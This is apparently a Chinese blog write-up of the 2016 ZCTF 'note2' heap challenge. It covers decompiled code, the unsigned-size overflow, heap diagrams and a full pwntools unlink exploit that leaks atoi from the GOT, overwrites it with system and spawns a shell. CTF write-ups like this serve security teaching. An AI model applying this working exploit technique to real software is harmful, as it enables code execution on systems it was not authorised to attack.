zoukankan      html  css  js  c++  java
  • Unlink——2016 ZCTF note2解析

    简介

    Unlink是经典的堆漏洞,刚看到这个漏洞不知道如何实现任意代码执行,所以找了一个CTF题,发现还有一些细节的地方没有讲的很清楚,题目在这里。自己也动手写一遍,体验一下

    题目描述

    首先,我们先分析一下程序,在checksec中检查文件,发现是64位程序,然后放入IDA中,f5,,得出主程序是这样:

    void __fastcall main(__int64 a1, char **a2, char **a3)
    {
      setvbuf(stdin, 0LL, 2, 0LL);
      setvbuf(stdout, 0LL, 2, 0LL);
      setvbuf(stderr, 0LL, 2, 0LL);
      alarm(0x3Cu);
      puts("Input your name:");
      ReadStr((char *)&name, 64LL, 10);
      puts("Input your address:");
      ReadStr((char *)&address, 96LL, 10);
      while ( 1 )
      {
        switch ( selectchoice() )
        {
          case 1:
            NewNote();
            break;
          case 2:
            ShowNote();
            break;
          case 3:
            EditNote();
            break;
          case 4:
            DeleteNote();
            break;
          case 5:
            puts("Bye~");
            exit(0);
            return;
          case 6:
            exit(0);
            return;
          default:
            continue;
        }
      }
    }
    主程序

    主程序是一个while循环,在selectchoice中输出一个菜单,然后读取一个输入判断

    int selectchoice()
    {
      puts("1.New note
    2.Show  note
    3.Edit note
    4.Delete note
    5.Quit
    option--->>");
      return inputNum();
    }
    selectchoice
    int inputNum()
    {
      char nptr; // [rsp+0h] [rbp-20h]
      unsigned __int64 v2; // [rsp+18h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      ReadStr(&nptr, 16LL, 10);
      return atoi(&nptr);
    }
    inputNum

    下面是4个主要功能,添加 note,size 限制为 0x80,size 会被记录,note 指针会被记录。

    int NewNote()
    {
      char *note; // ST08_8
      unsigned int v2; // eax
      unsigned int size; // [rsp+4h] [rbp-Ch]
    
      if ( (unsigned int)NoteNum > 3 )
        return puts("note lists are full");
      puts("Input the length of the note content:(less than 128)");
      size = inputNum();
      if ( size > 128 )
        return puts("Too long");
      note = (char *)malloc(size);
      puts("Input the note content:");
      ReadStr(note, size, '
    ');
      RemovePercent(note);
      ptr[NoteNum] = (__int64)note;
      Len[NoteNum] = size;
      v2 = NoteNum++;
      return printf("note add success, the id is %d
    ", v2);
    }
    NewNote

    溢出点代码

    unsigned __int64 __fastcall sub_4009BD(__int64 a1, __int64 a2, char a3)
    {
      char v4; // [rsp+Ch] [rbp-34h]
      char buf; // [rsp+2Fh] [rbp-11h]
      unsigned __int64 i; // [rsp+30h] [rbp-10h]
      ssize_t v7; // [rsp+38h] [rbp-8h]
    
      v4 = a3;
      for ( i = 0LL; a2 - 1 > i; ++i )
      {
        v7 = read(0, &buf, 1uLL);
        if ( v7 <= 0 )
          exit(-1);
        if ( buf == v4 )
          break;
        *(_BYTE *)(i + a1) = buf;
      }
      *(_BYTE *)(a1 + i) = 0;
      return i;
    }
    View Code

    展示 note 内容。

    int ShowNote()
    {
      __int64 v0; // rax
      int v2; // [rsp+Ch] [rbp-4h]
    
      puts("Input the id of the note:");
      LODWORD(v0) = inputNum();
      v2 = v0;
      if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 )
      {
        v0 = ptr[(signed int)v0];
        if ( v0 )
          LODWORD(v0) = printf("Content is %s
    ", ptr[v2]);
      }
      return v0;
    }
    ShowNote

    编辑 note 内容,其中包括覆盖已有的 note,在已有的 note 后面添加内容。

    unsigned __int64 EditNote()
    {
      char *v0; // rax
      char *v1; // rbx
      int v3; // [rsp+8h] [rbp-E8h]
      int v4; // [rsp+Ch] [rbp-E4h]
      char *src; // [rsp+10h] [rbp-E0h]
      __int64 v6; // [rsp+18h] [rbp-D8h]
      char dest; // [rsp+20h] [rbp-D0h]
      char *v8; // [rsp+A0h] [rbp-50h]
      unsigned __int64 v9; // [rsp+D8h] [rbp-18h]
    
      v9 = __readfsqword(0x28u);
      if ( NoteNum )
      {
        puts("Input the id of the note:");
        v3 = inputNum();
        if ( v3 >= 0 && v3 <= 3 )
        {
          src = (char *)ptr[v3];
          v6 = Len[v3];
          if ( src )
          {
            puts("do you want to overwrite or append?[1.overwrite/2.append]");
            v4 = inputNum();
            if ( v4 == 1 || v4 == 2 )
            {
              if ( v4 == 1 )
                dest = 0;
              else
                strcpy(&dest, src);
              v0 = (char *)malloc(0xA0uLL);
              v8 = v0;
              *(_QWORD *)v0 = 'oCweNehT';
              *((_QWORD *)v0 + 1) = ':stnetn';
              printf(v8);
              ReadStr(v8 + 15, 144LL, 10);
              RemovePercent(v8 + 15);
              v1 = v8;
              v1[v6 - strlen(&dest) + 14] = 0;
              strncat(&dest, v8 + 15, 0xFFFFFFFFFFFFFFFFLL);
              strcpy(src, &dest);
              free(v8);
              puts("Edit note success!");
            }
            else
            {
              puts("Error choice!");
            }
          }
          else
          {
            puts("note has been deleted");
          }
        }
      }
      else
      {
        puts("Please add a note!");
      }
      return __readfsqword(0x28u) ^ v9;
    }
    EditNote

    释放 note。

    int DeleteNote()
    {
      __int64 v0; // rax
      int v2; // [rsp+Ch] [rbp-4h]
    
      puts("Input the id of the note:");
      LODWORD(v0) = inputNum();
      v2 = v0;
      if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 )
      {
        v0 = ptr[(signed int)v0];
        if ( v0 )
        {
          free((void *)ptr[v2]);
          ptr[v2] = 0LL;
          Len[v2] = 0LL;
          LODWORD(v0) = puts("delete note success!");
        }
      }
      return v0;
    }
    DeleteNote

    题目解答

    仔细分析后,可以发现程序有以下几个问题

    1. 在添加 note 时,程序会记录 note 对应的大小,该大小会用于控制读取 note 的内容,但是读取的循环变量 i 是无符号变量,执行size-1>i时,如果size=0,则会永远成立。所以比较时都会转换为无符号变量,那么当我们输入 size 为 0 时,glibc 根据其规定,会分配 0x20 个字节,但是程序读取的内容却并不受到限制,故而会产生堆溢出。
    2. 程序在每次编辑 note 时,都会申请 0xa0 大小的内存,但是在 free 之后并没有设置为 NULL。
    3. 在上述程序中有一个全局变量ptr,用来记录每次分配的内存地址,在.bss段中,地址为0x0000000000602120。

    其中这三个 chunk 申请时的大小分别为 0x80,0,0x80,chunk1 虽然申请的大小为 0,但是 glibc 的要求 chunk 块至少可以存储 4 个必要的字段 (prev_size,size,fd,bk),所以会分配 0x20 的空间。同时,由于无符号整数的比较问题,可以为该 note 输入任意长的字符串。

    这里需要注意的是,chunk0 中一共构造了两个 chunk

    • chunk ptr[0],这个是为了 unlink 时修改对应的值。
    • chunk ptr[0]'s nextchunk,这个是为了使得 unlink 时的第一个检查满足。

    利用代码:

    # coding=UTF-8
    from pwn import *
    
    p = process('./note2')
    note2 = ELF('./note2')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    context.log_level = 'debug'
    
    
    def newnote(length, content):
        p.recvuntil('option--->>')
        p.sendline('1')
        p.recvuntil('(less than 128)')
        p.sendline(str(length))
        p.recvuntil('content:')
        p.sendline(content)
    
    
    def shownote(id):
        p.recvuntil('option--->>')
        p.sendline('2')
        p.recvuntil('note:')
        p.sendline(str(id))
    
    
    def editnote(id, choice, s):
        p.recvuntil('option--->>')
        p.sendline('3')
        p.recvuntil('note:')
        p.sendline(str(id))
        p.recvuntil('2.append]')
        p.sendline(str(choice))
        p.sendline(s)
    
    
    def deletenote(id):
        p.recvuntil('option--->>')
        p.sendline('4')
        p.recvuntil('note:')
        p.sendline(str(id))
    
    
    p.recvuntil('name:')
    p.sendline('hello')
    p.recvuntil('address:')
    p.sendline('hello')
    
    # chunk0: a fake chunk
    ptr = 0x0000000000602120
    fakefd = ptr - 0x18
    fakebk = ptr - 0x10
    content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60)
    #content = p64(fakefd) + p64(fakebk)
    newnote(128, content)
    # chunk1: a zero size chunk produce overwrite
    newnote(0, 'a' * 8)
    # chunk2: a chunk to be overwrited and freed
    newnote(0x80, 'b' * 16)
    
    # edit the chunk1 to overwrite the chunk2
    deletenote(1)
    content = 'a' * 16 + p64(0xa0) + p64(0x90)
    newnote(0, content)
    #gdb.attach(p)
    # delete note 2 to trigger the unlink
    # after unlink, ptr[0] = ptr - 0x18
    
    gdb.attach(p)
    p.interactive()
    
    deletenote(2)
    
    
    
    
    # overwrite the chunk0(which is ptr[0]) with got atoi
    atoi_got = note2.got['atoi']
    content = 'a' * 0x18 + p64(atoi_got)
    editnote(0, 1, content)
    # get the aoti addr
    shownote(0)
    
    p.recvuntil('is ')
    atoi_addr = p.recvuntil('
    ', drop=True)
    print atoi_addr
    atoi_addr = u64(atoi_addr.ljust(8, 'x00'))
    print 'leak atoi addr: ' + hex(atoi_addr)
    
    # get system addr
    atoi_offest = libc.symbols['atoi']
    libcbase = atoi_addr - atoi_offest
    system_offest = libc.symbols['system']
    system_addr = libcbase + system_offest
    
    print 'leak system addr: ', hex(system_addr)
    
    # overwrite the atoi got with systemaddr
    content = p64(system_addr)
    editnote(0, 1, content)
    
    # get shell
    p.recvuntil('option--->>')
    p.sendline('/bin/sh')
    p.interactive()
    利用代码

    代码中首先分配了三个note,当构造完三个 note 后,堆的基本构造如图 1 所示。

                                       +-----------------+ high addr
                                       |      ...        |
                                       +-----------------+
                                       |      'b'*8      |
                    ptr[2]-----------> +-----------------+
                                       |    size=0x91    |
                                       +-----------------+
                                       |    prevsize     |
                                       +-----------------|------------
                                       |    unused       |
                                       +-----------------+
                                       |    'a'*8        |
                     ptr[1]----------> +-----------------+  chunk 1
                                       |    size=0x20    |
                                       +-----------------+
                                       |    prevsize     |
                                       +-----------------|-------------
                                       |    unused       |
                                       +-----------------+
                                       |  prev_size=0x60 |
    fake ptr[0] chunk's nextchunk----->+-----------------+
                                       |    64*'a'       |
                                       +-----------------+
                                       |    fakebk       |
                                       +-----------------+
                                       |    fakefd       |
                                       +-----------------+
                                       |    0x61         |  chunk 0
                                       +-----------------+
                                       |    'a *8        |
                     ptr[0]----------> +-----------------+
                                       |    size=0x91    |
                                       +-----------------+
                                       |    prev_size    |
                                       +-----------------+  low addr
                                               图1
    

    释放 chunk1 - 覆盖 chunk2 - 释放 chunk2

    对应的代码如下

    # edit the chunk1 to overwrite the chunk2
    deletenote(1)
    content = 'a' * 16 + p64(0xa0) + p64(0x90)
    newnote(0, content)
    # delete note 2 to trigger the unlink
    # after unlink, ptr[0] = ptr - 0x18
    deletenote(2)
    

    首先释放 chunk1,由于该 chunk 属于 fastbin,所以下次在申请的时候仍然会申请到该 chunk,同时由于上面所说的类型问题,我们可以读取任意字符,所以就可以覆盖 chunk2,覆盖之后如图 2 所示。

    +-----------------+high addr
                                       |      ...        |
                                       +-----------------+
                                       |   'x00'+'b'*7  |
                    ptr[2]-----------> +-----------------+ chunk 2
                    coverValue1        |    size=0x90    |
                                       +-----------------+
                    coverValue2        |    0xa0         |
                                       +-----------------|------------
                                       |    'a'*8        |
                                       +-----------------+
                                       |    'a'*8        |
                     ptr[1]----------> +-----------------+ chunk 1
                                       |    size=0x20    |
                                       +-----------------+
                                       |    prevsize     |
                                       +-----------------|-------------
                                       |    unused       |
                                       +-----------------+
                                       |  prev_size=0x60 |
    fake ptr[0] chunk's nextchunk----->+-----------------+
                                       |    64*'a'       |
                                       +-----------------+
                                       |    fakebk       |
                                       +-----------------+
                                       |    fakefd       |
                   fake chunk--->      +-----------------+
                                       |    0x61         |  chunk 0
                                       +-----------------+
                                       |    'a *8        |
                     ptr[0]----------> +-----------------+
                                       |    size=0x91    |
                                       +-----------------+
                                       |    prev_size    |
                                       +-----------------+  low addr
                                               图2



    和图1相比,经历了chuck1的分配和释放,造成了两个值的变更,就是图2中的coverValue1和coverValue12,coverValue1导致chunk2的前一个虚拟地址空间连续块由以及分配变为空闲,所以在释放chunk2的时候,会造成合并。
    而合并操作进行时,会根据coverValue2来确定前一个块的大小,coverValue2使前一个块变为伪造的chunk,就是图2中fake chunk处,fakefd和fakebk则是伪造的,必须保证unlink的检测条件,fakefd = ptr - 0x18,fakebk = ptr - 0x10
    图2中的fake ptr[0] chunk's nextchunk是根据fake chunk的size来确定的,也就是0x60,第二个条件要绕过去就需要构造第二个chunk,在fake chunk位置0x60之后的位置放置一个pre_size为0x60的chunk
    在unlink之后,ptr被修改为ptr-0x18,注意,ptr的值就是在查看源码时发现的,存放第一个note的位置,在向note写入3个字节后,ptr的值又会被覆盖一次,所以可以使用一个像note的写入操作达到控制ptr为任意值。然后利用note的写操作更改GOT
    在选择覆盖函数的GOT时,选择atoi,因为在switch语句之前会读入一个选择,用到atoi函数,并且程序没有用到system函数,所以必须计算两个函数的偏移才能得出system的libc库位置,最后覆盖也选用这个函数
  • 相关阅读:
    c#泛型的使用
    关于Asp.net无法写入输出文件的原因
    利用OLEDB导出数据到Excel
    中秋祝福
    C#获取当前域用户名
    【程序员必读】骨灰级程序员20条编程经验
    SQL SERVER 2005无法远程连接的问题
    ASP.Net 实现伪静态方法及意义
    js+ajax获取文件大小
    C#遍历指定文件夹中的所有文件
  • 原文地址:https://www.cnblogs.com/likaiming/p/10121445.html
Copyright © 2011-2022 走看看